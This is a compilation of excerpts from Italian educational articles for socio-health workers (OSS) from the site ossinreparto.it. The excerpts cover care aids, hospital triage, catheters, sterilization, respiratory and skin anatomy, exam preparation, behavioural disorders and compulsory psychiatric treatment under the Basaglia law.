sviluppato durante il corso di formazione. Ad esempio: Assistenza agli anziani e alle persone con disabilità; Igiene e sicurezza nell'ambiente di lavoro; Somministrazione di farmaci e assistenza sanitaria di base; Comunicazione efficace con i pazienti e le loro famiglie. Esperienze pratiche significative Descrivi le tue esperienze pratiche più significative durante il corso di formazione. Puoi menzionare situazioni specifiche in cui hai applicato le tue competenze e affrontato sfide specifiche. Ad esempio: Assistenza domiciliare a una persona anziana con patologie croniche; Collaborazione con un team multidisciplinare in un centro di assistenza; Gestione delle emergenze mediche in modo efficace ed efficiente. Organizzazione e struttura della tesina La seconda fase consiste nell'organizzare e strutturare la tesina OSS. Ecco alcuni consigli utili: Introduzione Nell'introduzione, presentati brevemente e spiega lo scopo della tesina. Puoi iniziare con una citazione o un'aneddoto che catturi l'attenzione del lettore e lo inviti a continuare la lettura. Sviluppo Nello sviluppo, dividi la tesina in sottosezioni che corrispondono ai temi principali identificati nella sezione precedente. Assicurati di fornire informazioni dettagliate, utilizzando esempi concreti e situazioni reali per illustrare le tue competenze e abilità acquisite. Per esempio io scelsi, tra le quattro unità che comprendeva il nostro programma, degli argomenti che più o meno si collegavano tra di loro. Ad esempio se scegli come sottosezione “ Assistenza al paziente adulto durante i pasti” della sezione “ Assistenza alla persona” potresti collegarlo con la sottosezione “ I disturbi dell’alimentazione” nella sezione “Competenze psicosociali”. Presentazione e stile La terza fase riguarda la presentazione e lo stile della tesina OSS. Ecco alcuni suggerimenti: Formattazione e struttura Utilizza una formattazione chiara e coerente per facilitare la lettura e la comprensione della tesina. Utilizza titoli,... --- > Scopri l'importanza degli ausili e presidi per anziani e come gli OSS possono utilizzarli efficacemente per garantire sicurezza e comfort. - Published: 2024-09-04 - Modified: 2025-04-10 - URL: https://ossinreparto.it/ausili-e-presidi-oss/ - Categorie: Igiene e Sicurezza - Tag: Lavorare come OSS Gli ausili e i presidi sono fondamentali per migliorare la vita quotidiana degli anziani e delle persone con disabilità. Quando ci troviamo a dover assistere un anziano, sia a casa che in strutture specializzate, ci imbattiamo spesso nell'utilizzo, un mal funzionamento o una scarsa conoscenza di ausili e presidi. Questi strumenti diventano essenziali per garantire la sicurezza, la comodità, l'autonomia e la qualità della vita del paziente. In questo articolo esploreremo l'importanza di tali supporti e come gli Operatori Socio Sanitari (OSS) possano utilizzarli in modo da garantire la miglior assistenza ad un paziente. Definizione e principali differenze tra ausili e presidi Gli ausili e i presidi sono strumenti fondamentali nel campo della salute e del benessere, utilizzati per supportare persone con diverse necessità. Sebbene entrambi siano essenziali per migliorare la qualità della vita e facilitare la gestione delle condizioni mediche, vi sono differenze significative tra loro in termini di scopo, utilizzo e funzionalità. Gli ausili sono dispositivi progettati per assistere le persone con disabilità o limitazioni funzionali nelle attività quotidiane, promuovendo la loro autonomia e indipendenza. Questi strumenti, che includono sedie a rotelle, deambulatori, protesi e apparecchi acustici, mirano a compensare le difficoltà fisiche o sensoriali, consentendo agli individui di partecipare attivamente alla vita sociale e lavorativa. I presidi, invece, sono dispositivi utilizzati per la prevenzione, il trattamento e la gestione delle condizioni mediche. Essi sono essenziali in contesti sia domiciliari che ospedalieri e comprendono letti ospedalieri, cateteri, maschere per ossigenoterapia e ventilatori meccanici. Il loro scopo principale è garantire cure adeguate, migliorare le condizioni di salute e prevenire complicazioni mediche. Ecco a voi, alcuni dei principali motivi per cui si fa uso dei presidi e degli ausili: Funzione primaria: Gli ausili sono progettati per fornire assistenza temporanea e compensare le limitazioni fisiche. I presidi, invece, sono principalmente finalizzati a fornire sostegno stabile e continuativo. Mobilità e stabilità: Gli ausili per la mobilità, come bastoni e stampelle, favoriscono il movimento ma possono non garantire una stabilità costante. I presidi, come le sedie a rotelle o i sollevatori, offrono maggiore stabilità e supporto durante gli spostamenti o le attività quotidiane. Tempo di utilizzo: Gli ausili tendono ad essere utilizzati temporaneamente durante il recupero da un infortunio o una malattia. I presidi, invece, sono spesso utilizzati a lungo termine per affrontare limitazioni permanenti o croniche. Complessità tecnica: Gli ausili sono generalmente dispositivi semplici e di facile utilizzo, come bastoni da passeggio o reggimensole per la doccia. I presidi possono essere più complessi e richiedere una certa preparazione o assistenza nell'utilizzo corretto, come sollevatori per il trasferimento del paziente. Importanza nella vita quotidiana L'uso di un ausilio o di un presidio nella vita di un paziente fragile è di fondamentale importanza per diversi motivi: Autonomia e indipendenza: Gli ausili aiutano i pazienti fragili a mantenere un certo grado di autonomia nelle attività quotidiane, come vestirsi, camminare o alimentarsi. Ciò riduce la dipendenza da terze persone e aumenta la loro autostima; Sicurezza: Questi strumenti riducono il rischio di cadute, incidenti o lesioni. Ad esempio, un deambulatore o una sedia a rotelle possono prevenire cadute per chi ha difficoltà a camminare; Qualità della vita: Migliorando l'autonomia e la sicurezza, gli ausili contribuiscono a una migliore qualità della vita. I... --- - Published: 2024-09-03 - Modified: 2025-04-01 - URL: https://ossinreparto.it/triage-ospedialiero-maxi-emergenze/ - Categorie: Organizzazione Socio-Sanitaria - Tag: Lavorare come OSS, Pronto Soccorso Scopri cos'è il triage ospedaliero: un modello essenziale per la gestione efficace delle strutture sanitarie. Il triage ospedaliero è un sistema operativo essenziale presente in ogni pronto soccorso. Questo processo di categorizzazione dei pazienti stabilisce le priorità di assistenza e il percorso più adeguato. Nonostante l'esperienza personale dei pazienti, l'infermiere di triage ha la responsabilità di assegnare le priorità in base ai principi vitali. Questo articolo esplorerà il significato del triage ospedaliero, con un focus sulle maxi-emergenze. Le origini del triage Secondo la storia della medicina, il concetto di triage viene attribuito al barone Jean Dominique Larrey. Verso la fine del Settecento, durante le guerre napoleoniche, Larrey sviluppò un sistema per selezionare i soldati feriti al fine di evacuare rapidamente il campo di battaglia. La sua metodologia di triage favoriva il trattamento immediato dei feriti meno gravi, che venivano quindi prontamente riportati in combattimento. I soldati con condizioni vitali più critiche e prossimi alla morte non venivano trasportati in infermeria, ma venivano abbandonati a causa della percezione che costituissero un ostacolo. Nell'antichità, il solo esercito che poteva vantare un sistema organizzato di assistenza era quello romano. L'aiuto ai feriti avveniva direttamente sul campo di battaglia, dove cassette di pronto soccorso fornite di strumenti chirurgici, bende e lenimenti erano a disposizione. Per quanto riguarda il trasporto e l'assistenza tempestiva, inizialmente i feriti potevano essere spostati dal campo anche il giorno successivo. Tuttavia, nel corso delle sanguinose guerre napoleoniche, il chirurgo capo dell'armata francese, il barone Jean Dominique di Larrey, innovò il soccorso sul campo introducendo le "ambulanze volanti". Questo servizio consentì un trattamento rapido dei feriti direttamente sul luogo della battaglia e un trasporto più veloce verso gli ospedali da campo. Le decisioni adottate da Larrey erano in netto contrasto con le pratiche attuali: in situazioni di massima emergenza, preferiva soccorrere prima coloro che avevano subito lesioni meno gravi, sia per una prognosi favorevole sia per il loro rapido recupero, essenziale per il ritorno in battaglia. Struttura del triage: accoglienza e valutazione iniziale Nelle pagine seguenti, esploreremo in dettaglio la struttura del triage, analizzando le diverse fasi che lo compongono e l'importanza di ciascuna nel contesto della gestione delle emergenze sanitarie. Dalle prime fasi di accoglienza e registrazione alla valutazione preliminare delle condizioni del paziente, ci addentreremo nelle sfumature di questo processo vitale, esaminando strumenti, protocolli e considerazioni speciali che lo caratterizzano. Registrazione del paziente La fase di registrazione è il primo passo nel processo di triage e coinvolge la raccolta delle informazioni di base sul paziente. Questo passaggio è fondamentale per documentare l'ingresso del paziente nel sistema sanitario e per facilitare la successiva gestione delle cure. Processo: Accoglienza: All'arrivo, il paziente viene accolto da un addetto alla reception o da un infermiere dedicato al triage. Identificazione: Vengono raccolte le informazioni personali del paziente, come nome, cognome, data di nascita, indirizzo e numero di telefono. Se il paziente non è in grado di fornire queste informazioni, si utilizzano i documenti di identificazione o i dati forniti da accompagnatori o familiari. Motivo dell'Accesso: Si chiede al paziente o ai suoi accompagnatori il motivo della visita, ottenendo una... --- > Come funziona un catetere e come inserirlo correttamente sia nell'uomo che nella donna, scopri le varie tipologie di cateteri. - Published: 2024-09-01 - Modified: 2024-09-08 - URL: https://ossinreparto.it/come-funziona-catetere-come-inserirlo/ - Categorie: Procedure - Tag: Apparato Urinario, Lavorare come OSS Dai cateteri intravascolari a quelli urinari, esplora come questi dispositivi svolgono un ruolo importante in molteplici trattamenti medici, garantendo cure personalizzate e efficaci. Il catetere è uno strumento cilindrico flessibile ed è essenziale in medicina per diverse finalità diagnostiche, terapeutiche e chirurgiche. Questo articolo esplora le molteplici tipologie di cateteri, focalizzandosi sul cateterismo vescicale. Scopo del catetere Il catetere è un dispositivo medico utilizzato per vari scopi, ma il suo obiettivo principale è consentire l'accesso ad alcune parti del corpo umano, come la vescica o i vasi sanguigni, per scopi diagnostici o terapeutici. Ad esempio, i cateteri vescicali vengono utilizzati per svuotare la vescica in pazienti incapaci di urinare autonomamente, mentre i cateteri cardiaci possono essere impiegati per misurare la pressione sanguigna all'interno del cuore o per eseguire interventi come l'angioplastica coronarica. In generale, lo scopo del catetere è facilitare l'accesso a parti interne del corpo per scopi medici. I segnali del cateterismo vescicale: blocco delle vie urinarie (acuto o cronico); malfunzionamento neurologico della vescica; controllo del bilancio idrico in pazienti critici (come coma, stato di shock, ecc. ); alcuni tipi di intervento chirurgico; pazienti in fase terminale; cura di neoplasie vescicali (con utilizzo di farmaci topici); episodi di macro-ematuria e significativa piuria; perdita involontaria di urina (solamente nei casi in cui altre opzioni non siano praticabili). Finalità diagnostiche Il catetere è un dispositivo medico utilizzato per scopi diversi in campo diagnostico e terapeutico. Le finalità diagnostiche del catetere possono includere: Campionamento di fluidi corporei: I cateteri possono essere utilizzati per prelevare campioni di fluidi corporei come sangue, urina o liquido cerebrospinale per analisi diagnostiche; Misurazioni di pressione: I cateteri possono essere posizionati in vasi sanguigni o cavità cardiache per misurare la pressione sanguigna o cardiaca in tempo reale; Visualizzazione di strutture interne: I cateteri dotati di tecnologia di imaging, come i cateteri a ultrasuoni, possono essere utilizzati per visualizzare strutture interne del corpo durante procedure diagnostiche come l'angiografia; Valutazione della funzione cardiaca: Cateteri come il catetere di Swan-Ganz possono essere utilizzati per valutare la funzione cardiaca, misurando parametri come il flusso sanguigno, la pressione e le resistenze vascolari; Biopsie guidate: I cateteri possono essere utilizzati per guidare le biopsie di tessuti o organi interni, consentendo ai medici di ottenere campioni di tessuto per analisi diagnostiche; Monitoraggio continuo: I cateteri possono essere utilizzati per monitorare continuamente parametri vitali come la temperatura, la saturazione di ossigeno e il flusso sanguigno in tempo reale. Queste sono solo alcune delle finalità diagnostiche del catetere, e la scelta del tipo di catetere dipende dalle esigenze specifiche del paziente e della condizione medica in questione. Finalità terapeutiche Il catetere può essere utilizzato a fini terapeutici per diversi scopi, tra cui: Drenaggio urinario: Un catetere può essere inserito nella vescica per svuotarla in caso di difficoltà nel normale svuotamento dell'urina (abbiamo un articolo in tal proposito, se vuoi leggerlo clicca qui), come nell'incapacità di urinare (ritenzione urinaria) o nell'incapacità di controllare la vescica (incontinenza urinaria); Drenaggio di liquidi: In alcune condizioni mediche, come nell'insufficienza cardiaca congestizia o nell'ascite (accumulo anomalo di liquido nell'addome), un catetere può essere utilizzato per drenare e rimuovere liquidi in eccesso dal corpo; Alimentazione: Nei... --- > Scopri le differenze tra sanificazione, disinfezione, decontaminazione e sterilizzazione. Guida essenziale per l'igiene OSS e le migliori pratiche. - Published: 2024-08-14 - Modified: 2025-04-03 - URL: https://ossinreparto.it/igiene-oss-sterilizzazione/ - Categorie: Igiene e Sicurezza - Tag: Infezioni Scopri le differenze tra sanificazione, disinfezione, decontaminazione e sterilizzazione. Guida essenziale per l'igiene OSS e le migliori pratiche. Nel mondo dell'igiene, i concetti di sanificazione, disinfezione, decontaminazione e sterilizzazione giocano un ruolo importante per garantire ambienti sicuri e privi di rischi per la salute. Per gli operatori socio sanitari, comprenderne le differenze e l'applicazione corretta è fondamentale per assicurare standard elevati di igiene e protezione sia in ambito ospedaliero che in altre strutture socio-sanitarie. Esploriamo insieme questi concetti; ecco alcuni consigli pratici per l'operato quotidiano. Sterilizzazione: fondamentale per la sicurezza e l'igiene La sterilizzazione rappresenta un pilastro fondamentale nell'ambito della sicurezza e dell'igiene, soprattutto nei settori sanitario e alimentare. Questo processo mira a eliminare tutti i microrganismi ed ogni forma vegetativa da strumenti, attrezzature e materiali, garantendo un ambiente privo di rischi per la salute. Esploriamo l'importanza della sterilizzazione e i diversi metodi utilizzati per assicurare standard elevati di sicurezza e igiene. Importanza della sterilizzazione La sterilizzazione in ospedale riveste un'importanza molto importante per la sicurezza e la salute dei pazienti. Questo processo, che consiste nell'eliminazione completa di tutti i microrganismi patogeni dalle superfici e dagli strumenti medici, è fondamentale per prevenire infezioni nosocomiali, che rappresentano una delle principali cause di morbilità e mortalità nei contesti ospedalieri. La sterilizzazione garantisce che ogni intervento chirurgico, procedura invasiva e trattamento venga eseguito in un ambiente sicuro, riducendo al minimo il rischio di contaminazione e trasmissione di malattie. Inoltre, contribuisce a mantenere standard elevati di igiene e sicurezza, proteggendo non solo i pazienti, ma anche il personale sanitario. In questa sezione, oltre alle varie motivazioni scritte in precedenza, offriamo un elenco che esemplifica le ragioni per la quale è così importante la sterilizzazione: Prevenzione delle Infezioni: La sterilizzazione è essenziale per prevenire la diffusione di infezioni nosocomiali in ambienti ospedalieri e clinici. Gli strumenti chirurgici e le attrezzature mediche sterilizzati riducono significativamente il rischio di contaminazione durante interventi chirurgici e procedure mediche. Sicurezza Alimentare: Nel settore alimentare, la sterilizzazione è cruciale per garantire la sicurezza degli alimenti. Strumenti e attrezzature utilizzati nella preparazione, conservazione e distribuzione degli alimenti devono essere sterilizzati per evitare la contaminazione microbiologica e prevenire malattie trasmesse dagli alimenti. Protezione dei Pazienti: La sterilizzazione non solo protegge i pazienti da infezioni, ma contribuisce anche a garantire la sicurezza del personale sanitario. Riducendo il rischio di contaminazione, si crea un ambiente più sicuro per tutti coloro che lavorano negli ospedali e nelle strutture sanitarie. Metodi di sterilizzazione Esistono diversi metodi di sterilizzazione, ognuno con le proprie caratteristiche e applicazioni specifiche, eccone alcune di seguito elencate: Autoclave: Il metodo più comune e efficace, utilizza calore umido sotto pressione per eliminare batteri, virus e funghi. Gli oggetti da sterilizzare vengono posti all'interno di una camera pressurizzata e esposti a temperature elevate per un periodo di tempo specifico. Sterilizzazione Chimica: Alcuni materiali sensibili al calore possono essere sterilizzati utilizzando sostanze chimiche come l'ossido di etilene o il perossido di idrogeno. Questo metodo è particolarmente adatto per strumenti sensibili al calore, come dispositivi elettronici e dispositivi medicali delicati. Radiazioni: La sterilizzazione tramite radiazioni, come raggi gamma o raggi X, è utilizzata per oggetti... --- > Scopri l'essenziale dell'apparato respiratorio, dai dettagli anatomici alle funzioni vitali di ossigenazione e eliminazione dell'anidride carbonica. - Published: 2024-07-26 - Modified: 2024-07-20 - URL: https://ossinreparto.it/anatomia-apparato-respiratorio/ - Categorie: Anatomia Scopri l'essenziale dell'apparato respiratorio, dai dettagli anatomici alle funzioni vitali di ossigenazione e eliminazione dell'anidride carbonica. L'apparato respiratorio, un sistema sorprendentemente complesso e delicato, rappresenta il fondamento stesso della nostra vita quotidiana. Ogni respiro che prendiamo coinvolge una serie di processi fisiologici straordinari che permettono al nostro corpo di ottenere l'ossigeno vitale e di liberarsi del biossido di carbonio. Esplorare l'anatomia e il funzionamento di questo sistema è fondamentale non solo per comprendere la nostra salute respiratoria, ma anche per apprezzare la magnifica precisione con cui il corpo umano gestisce questo processo essenziale. Funzioni dell’apparato respiratorio Il funzionamento dell'apparato respiratorio è un processo vitale che coinvolge una serie di azioni coordinate per assicurare lo scambio di gas necessario per la vita. Ecco una panoramica del funzionamento dell'apparato respiratorio: Inalazione: Il processo respiratorio inizia con l'inalazione. Durante questo processo, il diaframma e i muscoli intercostali si contraggono, causando un aumento del volume della cavità toracica. Questo fa sì che la pressione all'interno dei polmoni diminuisca, consentendo all'aria di fluire dall'esterno verso l'interno attraverso il naso o la bocca, giungendo infine nei polmoni. Scambio Gassoso negli Alveoli: Una volta che l'aria raggiunge gli alveoli, avviene lo scambio gassoso. Gli alveoli sono circondati da capillari sanguigni, e qui avviene il passaggio dell'ossigeno dall'aria inspirata nel sangue e della CO2 dal sangue nell'aria espirata. Questo scambio gassoso è possibile grazie alla differenza di pressione parziale tra l'ossigeno nell'aria negli alveoli e nell'emoglobina nei globuli rossi del sangue. Trasporto dei Gas nel Sangue: Una volta che l'ossigeno è stato assorbito nei polmoni, viene trasportato dai globuli rossi attraverso il flusso sanguigno verso i tessuti del corpo, dove è necessario per il metabolismo cellulare. Allo stesso tempo, la CO2 prodotta dal metabolismo cellulare viene trasportata nel sangue e trasportata nuovamente ai polmoni per essere eliminata attraverso l'espirazione. Espirazione: Dopo che l'ossigeno è stato assorbito e la CO2 è stata eliminata, il processo di respirazione continua con l'espirazione. Durante questo processo, il diaframma e i muscoli intercostali si rilassano, facendo diminuire il volume della cavità toracica. Questo aumenta la pressione all'interno dei polmoni, causando l'uscita dell'aria dai polmoni attraverso le vie respiratorie e fuori dal corpo attraverso il naso o la bocca. Questi processi avvengono in modo continuo e coordinato per mantenere l'equilibrio dei gas nel corpo e assicurare l'apporto di ossigeno necessario per la sopravvivenza cellulare e l'eliminazione della CO2 prodotta come sottoprodotto del metabolismo. Il funzionamento efficace dell'apparato respiratorio è essenziale per il mantenimento della vita e della salute. Approfondimento: Negli organismi unicellulari e nei minuscoli esseri acquatici l'interscambio di gas avviene attraverso diffusione diretta tra il mezzo circostante e le cellule. Tuttavia, quando lo spessore dell'organismo supera il millimetro, affinché l'interscambio sia efficiente, sono richieste strutture specializzate. Le aree coinvolte negli scambi gassosi devono essere costantemente mantenute umide. Tale sfida non riguarda solo gli animali marini, bensì anche quelli terrestri. Esistono vari meccanismi per conservare l'umidità delle superfici, tra cui la secrezione di sostanze mucose. Struttura dell’apparato respiratorio L'apparato respiratorio umano è composto da diverse strutture anatomiche che consentono il processo del respiro. Inizia con le vie aeree superiori, dove... --- > Superare un esame orale OSS può sembrare difficile, ma con una buona preparazione e strategie efficaci è possibile. - Published: 2024-07-25 - Modified: 2024-07-20 - URL: https://ossinreparto.it/come-superare-esame-orale-oss-guida/ - Categorie: Diventare OSS Superare un esame orale per OSS può sembrare difficile, ma con una buona preparazione e strategie efficaci è possibile. Superare un esame orale per Operatore Socio Sanitario (OSS) può sembrare un'impresa ardua, ma con la giusta preparazione e strategie, è possibile affrontarlo con successo. In questo articolo, esploreremo come prepararsi al meglio per un esame orale OSS, fornendo consigli pratici e tecniche efficaci per gestire lo stress e rispondere alle domande in modo convincente. Che tu sia uno studente in procinto di sostenere l'esame o qualcuno che vuole supportare un candidato, questa guida ti offrirà preziose informazioni e suggerimenti. Preparazione all'esame La preparazione di un Operatore Socio Sanitario (OSS) per un esame orale è un processo cruciale che richiede una combinazione di conoscenze teoriche, competenze pratiche e capacità comunicative. L'esame orale rappresenta un momento fondamentale nella carriera di un OSS, poiché valuta non solo le conoscenze acquisite durante il percorso di formazione, ma anche la capacità di applicarle in situazioni pratiche e di interagire efficacemente con pazienti e colleghi. Per affrontare con successo l'esame da OSS, è essenziale adottare un approccio metodico che includa la revisione dei principali argomenti teorici, la pratica delle competenze tecniche e la simulazione di scenari clinici. Inoltre, è importante sviluppare tecniche di gestione dello stress e migliorare le proprie abilità comunicative per esprimere chiaramente le proprie conoscenze e competenze davanti alla commissione esaminatrice. Studio del materiale Per affrontare un esame orale OSS, una preparazione solida è fondamentale. Ecco alcuni suggerimenti su come organizzare lo studio: Pianificazione: Suddividi il materiale in sezioni e crea un calendario di studio. Ripasso costante: Rivedi regolarmente gli argomenti per mantenere la memoria fresca. Uso di risorse varie: Utilizza libri di testo, appunti di lezione, video didattici e quiz interattivi. Simulazioni di esame Le simulazioni di esame sono un ottimo modo per prepararsi all'esame orale. Ecco come possono aiutarti: Pratica delle risposte: Rispondere a domande simulate ti aiuta a trovare le parole giuste e a esprimerti chiaramente. Gestione del tempo: Simula il tempo a disposizione per rispondere alle domande, migliorando così la tua capacità di gestire il tempo durante l'esame vero e proprio. Feedback: Chiedi a un amico o a un tutor di ascoltare le tue risposte e di fornire un feedback costruttivo. Conoscenza delle domande frequenti Familiarizzare con le domande più comuni può ridurre l'ansia e aumentare la sicurezza. Alcune delle domande frequenti includono: Quali sono le principali responsabilità di un OSS? Come gestisci una situazione di emergenza? Quali sono le procedure di base per l'igiene del paziente? Come affronti la comunicazione con pazienti e familiari? Quali sono le leggi sanitarie principali? Gestione dello stress L'ansia pre-esame è una reazione naturale, ma può essere gestita e ridotta attraverso una serie di strategie mirate. Questo processo di preparazione comprende la pianificazione dello studio, l'allenamento nelle tecniche di comunicazione, e l'adozione di pratiche di gestione dello stress. Tecniche di rilassamento Gestire lo stress è importantissimo per mantenere la calma durante l'esame. Ecco alcune tecniche di rilassamento che possono essere utili: Respirazione profonda: Pratica esercizi di respirazione profonda per ridurre l'ansia. Meditazione: Dedica qualche minuto al giorno alla meditazione per migliorare la tua concentrazione. Attività fisica: Fare esercizio fisico regolarmente aiuta... --- > Una guida completa alla gestione dei disturbi comportamentali negli adulti nell'ambito sanitario. - Published: 2024-07-24 - Modified: 2024-07-20 - URL: https://ossinreparto.it/disturbi-comportamentali-adulti/ - Categorie: Psicologia I disturbi comportamentali negli adulti, comuni in residenze sanitarie, sfidano individui e professionisti. Causati da condizioni mediche, disabilità cognitive e disturbi psichiatrici, questi disturbi richiedono un approccio multidisciplinare per una gestione efficace. I disturbi comportamentali negli adulti, specialmente quando si manifestano in contesti come residenze sanitarie o strutture di assistenza, sono una sfida significativa sia per gli individui affetti che per i professionisti della salute mentale e del settore sanitario. Questi disturbi possono derivare da una varietà di cause, comprese le condizioni mediche, le disabilità cognitive, i disturbi psichiatrici e l'ambiente circostante. Esploriamo dunque questo argomento in modo dettagliato. Indagine sulle cause e sintomi dei disturbi comportamentali I disturbi comportamentali negli adulti si manifestano attraverso una serie di comportamenti disfunzionali che possono interferire con la vita quotidiana dell'individuo e con le interazioni sociali. Alcuni esempi comuni includono: Disturbi dell'umore: Come depressione maggiore, disturbo bipolare e disturbo ossessivo-compulsivo, che possono manifestarsi attraverso cambiamenti nell'umore, comportamenti autolesionisti o isolamento sociale. Disturbi d'ansia: Come disturbo d'ansia generalizzato, disturbo da attacchi di panico o disturbo da stress post-traumatico, che possono causare sintomi come preoccupazioni eccessive, attacchi di panico ed evitamento di situazioni temute. Disturbi psicotici: Come la schizofrenia o il disturbo delirante, caratterizzati da allucinazioni, deliri e disorganizzazione del pensiero. Disturbi della personalità: Come il disturbo borderline di personalità, il disturbo antisociale di personalità o il disturbo evitante di personalità, che possono manifestarsi attraverso comportamenti impulsivi, instabilità emotiva o difficoltà nelle relazioni interpersonali. Disturbi correlati a sostanze: Come l'abuso di alcol o droghe, che possono influenzare il comportamento, le capacità cognitive e l'umore dell'individuo. La scoperta delle nevrosi e delle psicosi La comprensione delle nevrosi e delle psicosi ha una lunga storia, che risale a tempi antichi e si è evoluta attraverso secoli di osservazione, studio e ricerca. Questa piccola introduzione alla storia offre uno sguardo sull'evoluzione della conoscenza medica riguardante questi disturbi mentali. Antichità e Medioevo Nell'antichità, i disturbi mentali erano spesso attribuiti a cause soprannaturali o divine. Gli antichi Egizi, Greci e Romani credevano che le malattie mentali fossero il risultato dell'intervento di spiriti maligni o punizioni divine. Ippocrate, il padre della medicina, fu uno dei primi a proporre che le malattie mentali avessero cause naturali, attribuendole a squilibri nei quattro umori del corpo: sangue, flemma, bile gialla e bile nera. Durante il Medioevo, le spiegazioni soprannaturali rimasero predominanti. Le persone con disturbi mentali venivano spesso viste come possedute da demoni e sottoposte a esorcismi o altre forme di trattamento crudele. XIX secolo: La differenziazione tra Nevrosi e Psicosi Nel XIX secolo, la psichiatria cominciò a distinguere tra diversi tipi di disturbi mentali. Emil Kraepelin, un eminente psichiatra tedesco, fu uno dei primi a classificare sistematicamente i disturbi mentali. Egli differenziò tra "psicosi maniaco-depressiva" (oggi nota come disturbo bipolare) e "demenza precoce" (oggi conosciuta come schizofrenia). Kraepelin osservò che le psicosi erano caratterizzate da una disconnessione dalla realtà, mentre le nevrosi, come i disturbi d'ansia e le depressioni meno gravi, non coinvolgevano una perdita del contatto con la realtà. XX secolo: Freud e l'inconscio Sigmund Freud, il padre della psicoanalisi, giocò un ruolo cruciale nella comprensione delle nevrosi. Egli teorizzò che le nevrosi erano il risultato di conflitti inconsci e traumi infantili non risolti.... --- > Scopri il TSO, la legge Basaglia e il ruolo degli OSS nel trattamento delle emergenze psichiatriche. - Published: 2024-07-23 - Modified: 2024-07-20 - URL: https://ossinreparto.it/tso-trattamento-sanitario-obbligatorio-oss/ - Categorie: Legislazione Sanitaria Il TSO, regolato dalla legge Basaglia, pone fine ai manicomi, promuove cure territoriali, è attivato in emergenze psichiatriche e dura 7 giorni. Il Trattamento Sanitario Obbligatorio, in gergo TSO, è un tema complesso e delicato che tocca vari aspetti della salute mentale e dei diritti individuali. La legge 180/78, nota come legge Basaglia, ha rivoluzionato il modo in cui vengono trattati i pazienti con disturbi psichiatrici in Italia, ponendo fine all'era dei manicomi e promuovendo la cura sul territorio. Questo articolo si propone di spiegare cosa sia il TSO, come viene applicato e quali sono i principi fondamentali che lo regolano, rendendo il tema accessibile e coinvolgente per un pubblico non esperto. Prima della Legge Basaglia: Il trattamento dei pazienti psichiatrici Prima dell'entrata in vigore della legge Basaglia, il trattamento dei pazienti psichiatrici in Italia era caratterizzato da pratiche estremamente repressive e disumanizzanti. Gli ospedali psichiatrici, comunemente noti come manicomi, rappresentavano l'unica risposta istituzionale ai disturbi mentali. Questi luoghi erano più simili a prigioni che a strutture di cura, dove i pazienti venivano internati per lunghi periodi, spesso per tutta la vita, senza una reale prospettiva di guarigione o reintegrazione nella società. Condizioni di internamento Nei manicomi, i pazienti vivevano in condizioni di estrema segregazione e isolamento. Venivano considerati non solo come malati, ma anche come pericolosi e vergognosi per la società e le loro famiglie. La reclusione in manicomio era vista come una soluzione per proteggere la società dal "pericolo" rappresentato dai malati di mente, piuttosto che un modo per offrire cure efficaci e umane. Terapie e Ttrattamenti Le terapie utilizzate all'epoca erano spesso invasive e traumatiche. Tra le pratiche più comuni figuravano: Elettroshock: Conosciuto anche come terapia elettroconvulsiva (ECT), prevedeva l'applicazione di scariche elettriche al cervello del paziente per indurre convulsioni. Questa procedura era estremamente dolorosa e traumatica, e i pazienti venivano immobilizzati per evitare lesioni durante le convulsioni. Insulinoterapia: Questo trattamento comportava la somministrazione di alte dosi di insulina per indurre uno stato di shock ipoglicemico e coma. L'idea era che il coma potesse avere effetti terapeutici sui disturbi mentali, ma la procedura era rischiosa e spesso non portava a miglioramenti significativi. Contenzione fisica: I pazienti venivano spesso legati ai letti o sedati per prevenire comportamenti violenti o autolesionistici. Questa pratica era diffusa e utilizzata senza considerazioni per la dignità e il benessere del paziente. Status legale e sociale dei pazienti Prima della legge Basaglia, i pazienti psichiatrici erano privati di molti diritti civili e politici. Venivano considerati legalmente incapaci e spesso iscritti nel casellario giudiziario, il che li stigmatizzava ulteriormente. Questa esclusione legale e sociale contribuiva a un ciclo di emarginazione e isolamento che rendeva difficile, se non impossibile, il reinserimento dei pazienti nella società. Ambiente manicomiale L'ambiente nei manicomi era spesso deplorevole. Le strutture erano sovraffollate e carenti di risorse adeguate. Il personale medico e paramedico era insufficiente e mal preparato, e la qualità delle cure era generalmente bassa. I pazienti vivevano in condizioni di scarsa igiene e sicurezza, con poco o nessun accesso a trattamenti psicologici o riabilitativi. Quindi oltre ai trattamenti e le terapie per la "cura" dei disturbi mentali, queste persone avevano anche disturbi... --- > Una guida ampia ed utile per operatori socio sanitari sull'apparato tegumentario, sulla sua struttura e le sue funzioni principali. - Published: 2024-07-22 - Modified: 2024-07-23 - URL: https://ossinreparto.it/apparato-tegumentario-oss/ - Categorie: Anatomia - Tag: Guide OSS Una guida ampia ed utile per operatori socio sanitari sull'apparato tegumentario, sulla sua struttura e le sue funzioni principali. L'apparato tegumentario è un complesso sistema che comprende la pelle, i capelli, le unghie, e le ghiandole cutanee. Questo sistema svolge un ruolo cruciale nella protezione del corpo umano, nella regolazione della temperatura corporea e nella percezione sensoriale. Conoscere il funzionamento dell'apparato tegumentario è fondamentale, soprattutto per gli Operatori Socio-Sanitari (OSS), che si occupano del benessere e della cura dei pazienti. In questo articolo esploreremo le diverse componenti dell'apparato tegumentario e le migliori pratiche per la sua cura. Struttura dell'apparato tegumentario L'apparato tegumentario rappresenta il più vasto sistema del corpo umano, costituendo la barriera protettiva che avvolge l'intero organismo. Questo apparato non solo svolge un ruolo fondamentale nella protezione fisica dagli agenti esterni, ma è anche cruciale per la regolazione termica, la percezione sensoriale e l'interazione con l'ambiente circostante. La sua struttura complessa e stratificata riflette la molteplicità delle funzioni che svolge, rendendolo un componente essenziale per la salute e il benessere. La pelle: cos'è, struttura e anatomia La pelle è l'organo più grande del corpo umano e svolge una serie di funzioni essenziali per la salute e il benessere. Funziona come una barriera protettiva, regolatore della temperatura, organo sensoriale e partecipante alla sintesi di vitamine. In questa sezione esploreremo in dettaglio cos'è la pelle, la sua struttura e la sua anatomia. Struttura della pelle La pelle svolge numerose funzioni vitali per la nostra salute e il nostro benessere. Rappresenta la prima linea di difesa contro gli agenti esterni come batteri, virus, sostanze chimiche e traumi fisici. Inoltre, la pelle regola la temperatura corporea, permette la percezione sensoriale e contribuisce alla sintesi della vitamina D. La struttura della pelle è complessa e stratificata, composta principalmente da tre strati: l'epidermide, il derma e l'ipoderma (o tessuto sottocutaneo). Epidermide L'epidermide è lo strato più esterno della pelle. È costituito principalmente da cellule chiamate cheratinociti, che producono cheratina, una proteina resistente e impermeabile. L'epidermide si divide in cinque sottostrati, ciascuno con funzioni distinte: Strato Corneo (Stratum Corneum): È lo strato più superficiale e spesso 